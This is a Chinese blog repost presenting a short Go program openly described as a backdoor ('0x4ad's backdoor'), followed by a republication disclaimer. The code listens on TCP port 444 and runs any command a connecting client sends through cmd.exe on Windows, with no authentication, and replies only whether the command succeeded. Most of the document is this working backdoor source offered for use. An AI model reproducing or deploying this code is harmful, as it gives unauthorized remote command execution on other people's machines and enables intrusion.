Golang 写的后门程序

package main

import (
    "fmt"
    "net"
    "os/exec"
    "strings"
)

var left = "#shell:"

func main() {
    ln, err := net.Listen("tcp", ":444")
    buffRecv := make([]byte, 128)
    if err != nil {
        err.Error()
    }
    for {
        conn, err := ln.Accept()
        showMSG(conn)
        if err != nil {
            continue
        }
        c := []byte(left)
        for {
            conn.Write(c)
            length, err := conn.Read(buffRecv)
            if length == 10 {
            }
            if err != nil {
            }
            //fmt recf
            str := string(buffRecv[0 : length-2])
            if strings.EqualFold(str, "exit") {
                conn.Close()
                fmt.Println("break")
                break
            } else {
                if execute(str) {
                    conn.Write([]byte("The Command Exec Successful!\n"))
                } else {
                    conn.Write([]byte("The Command Exec Fail!\n"))
                }
            }
            buffRecv = make([]byte, 128)
        }
    }
}

func showMSG(conn net.Conn) {
    msg := "\t\t\twelcome to 0x4ad's backdoor\t\t\n"
    m := []byte(msg)
    conn.Write(m)
}

//execute system command
func execute(command string) bool {
    c := exec.Command("cmd.exe", "/c", command)
    if err := c.Run(); err != nil {
        fmt.Println("Error: ", err)
    }
    return c.ProcessState.Success()
}


主要执行系统命令,仅仅作用于windows。。。

本文来自:开源中国博客

感谢作者:未来还没来

查看原文:Golang 写的后门程序

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。